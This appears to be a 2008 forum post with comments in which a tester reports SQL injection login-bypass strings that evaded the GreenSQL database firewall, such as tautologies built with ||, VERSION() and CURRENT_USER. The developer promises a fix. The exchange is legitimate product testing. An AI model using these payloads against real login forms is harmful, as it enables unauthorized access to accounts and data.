Database Security. Database Auditing. Database Caching. Database Masking. Get it nowA few more attempts...
Posted June 1st, 2008 by ericl
in
You can pass the OR/AND warning in query by using their equivalent || and &&.
u: admin
p: test') || SHA('1')=SHA('1
u: admin
p: test') || CHAR_LENGTH('test
u: admin' || '0' !='1
p: test
I don't understand why the parser would let a simple query such as this one through:
u: admin' or name='admin
p: test
I'm trying a few things manually. I could dig up my old fuzzing script but I haven't maintained it for a long time and there are probably much more powerful one out there. ;)
Honestly, you're pretty brave to undertake a parser-based sql firewall. It's probably going to be a never ending battle...
G
Comments
Hi Yuli,
Hi Yuli,
I understand. :) I didn't expect any magic of course and quite frankly, you're bound to encounter more and more false-positives as you try to work out the weaknesses.
For instance, while Green SQL makes an honest attempt at finding SQL tautologies, we could probably come up with many that aren't clear cut and easily parseable. (See below) Is this something you have an idea on how to address?
u: admin' or VERSION()='4
p: test
u: admin' or CURRENT_USER <> 'foo
p: test
u: admin' or CURRENT_DATE <> 'foo
p: test
...
I fear that the GreenSQL firewall might give a false sense of security which might be worse in some cases than a vulnerable application, IMHO. Perhaps it should be "marketed" (for lack of a better word) as a SQL IDS instead - 'injection' detection system. ;)
Cheers,
Eric.
Thanks Eric I will fix it
Thanks Eric
I will fix it ASAP.